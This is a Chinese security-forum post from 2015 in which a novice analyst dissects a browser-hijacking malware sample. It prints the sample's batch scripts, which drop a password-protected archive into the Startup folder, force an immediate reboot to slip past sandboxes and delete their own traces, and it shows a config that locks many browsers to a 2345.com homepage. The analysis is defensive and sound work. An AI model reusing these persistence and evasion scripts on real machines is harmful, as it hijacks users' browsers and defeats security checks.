本帖最后由 翼风Fly 于 2015-10-13 18:51 编辑
鄙人小白，OD代码不太懂，有些问题想请教一下论坛里各位大大~如果能行的话我挺想试试OD分析的。。。不会。。。
样本位于：http://bbs.kafan.cn/thread-1856719-1-1.html
为增强可读性，仅选取一部分，完整分析请见27楼：http://bbs.kafan.cn/forum.php?mod=redirect&goto=findpost&ptid=1856719&pid=36051004
内容解析
接下来开始人工分析，菜菜一枚，各位轻拍~
下载后样本的直接分析
你要的东西.exe
OD里简单看了一下，这货就是个启动器，调用了几个系统文件，没看到什么特殊的地方（当然，看的比较草，水平也不够）
小白想问一下：
这东西用来干啥的？OD里发现调用了一下系统文件，但是不懂是怎么回事，求指点~
再看看里面批处理吧（我写了点注释）
[Shell] 纯文本查看 复制代码 ::获取 当前用户的 运行 文件夹
for /f "skip=1 tokens=2*" %%a in ('reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Startup') do set qd=%%b
set qd=%qd:~0,-1%
::解压文件
mm.exe x -y -p mm.rar ^"%qd%\^"
::关机重启
Shutdown.exe -r -f -t 0
mm.exe其实就是WinRAR 5.21的命令版本，压缩包里一个是LMIns.exe（病毒主体），一个是2345.url （链接到 http://www.2345.com/?kisder）
RAR参数：
x 以完整路径提取文件
y 对所有询问假定选择“是”
p[password] 设置密码
RAR将内容解压到启动文件夹中
密码是一个空格 ，而且竟然还TMD竟然是不常见的全角空格“ ”，对于不熟悉RAR命令行的人来说容易被迷惑；
真仔细。。。醉了。。。
竟然想到了关机啊这个比较绕的办法。。。。。不关机怎么过你的在线/沙箱？
这样的样本杀软能扫到就怪了，病毒被加密了，其他的都是白。
病毒主体：LMIns.exe
PEiD检测：Microsoft Visual Studio .NET 2005 -- 2008 -> Microsoft Corporation [Overlay] *
连壳都不加。原来这是个压缩包，释放5个文件。
（原文件已经由卡饭该帖的28楼提供下载）
先上在线行为：
【文件B超】https://b-chao.com/index.php/Ind ... 55106FDA7B8ADB85B2/
【哈勃】http://habo.qq.com/file/showdetail?pk=ADwGZ11tB2EIOA==
【火眼】我等的花都谢了。。。 报告还没生出来，先贴坑：http://fireeye.ijinshan.com/analyse.html?md5=e4ec639c04cb743ce6a343d27f199a8d
【VirusScan】昨天有人扫了，3个报毒；现在，还是仨；跟进厂商们的速度不给力？
http://www.virscan.org/scan/72208c7a2a96fb3fa168579d3b6077ef
【VirusTotal】还是这里的厂商更新给力（检出率 10 / 56 ）：https://www.virustotal.com/en/file/20b01ba54c3ca10709e203eeac5449f65c307a327132786ef5c619cc3736c9d3/analysis/1444661993/
直接释放的文件如下：
batfile~.bat
这文件负责运行hlsys32.exe后删除痕迹。
[Shell] 纯文本查看 复制代码 "C:\DOCUME~1\【用户名】\LOCALS~1\Temp\lmtp~\hlsys32.exe" /ins
:again
del "C:\DOCUME~1\【用户名】\LOCALS~1\Temp\lmtp~\hlsys32.exe" /Q
if exist "C:\DOCUME~1\【用户名】\LOCALS~1\Temp\lmtp~\hlsys32.exe" goto again
del C:\DOCUME~1\【用户名】\LOCALS~1\Temp\lmtp~\*.* /Q
del %0
hlsys32.exe （需要UAC权限）（求指点）
LaoMa Software ——老马软件？挺形象，哈哈~这东西用来负责下面的文件运行。也就是说，如果这货起不来，下面的都作废。OD简单看了一下，各种系统调用。不过为啥颠来倒去就那几个文件。。。小白不懂。。。
hlsys64.exe
又是LaoMa Software，用来负责64位系统
lksys.ini
一生锁页。。。这个名字带感！undefined各种浏览器不惧，管他是不是XXX安全浏览器~
[Config]
title=一生锁页
browsers_referer=chrome.exe*ucbrowser.exe*iexplore.exe*firefox.exe*360chrome.exe*360se.exe*liebao.exe*maxthon.exe*qqbrowser.exe*baidubrowser.exe*sogouexplorer.exe*opera.exe*f1browser.exe*2345Explorer.exe*2345chrome.exe*Opera\launcher.exe
url=http://www.2345.com/?kisder
param_deny=
param_reg_deny=
pmode=0
browsers=
saveurl=0
netcfgurl=
notclear=
pmode1=0
param_deny1=
param_reg_deny1=
lockmode=0
id=0
restart=0
secsnotlock=0
hlsys.dat
没仔细看，应该是个驱动
再往下我就不分析了。。。。
=============== 启示 ===============
- 杀毒软件一定不能作死关掉，UAC最好开着，这样的小流氓用杀软扫一下就能搞定；
- 如果这个毒一上来就用OD看，可能会很累，多次释放文件。沙箱竟然可以关机
所以还是虚拟机跑一边比较省事。。。。
最新发现，前方高能~~~
作者主页：http://hl.laolaoma.com/
 我都不知道该说什么好。。。
详情见：http://bbs.kafan.cn/forum.php?mod=redirect&goto=findpost&ptid=1856719&pid=36057418 | 
[复制链接]
发表于 2015-10-13 10:42
|
发表于 2015-10-13 11:47
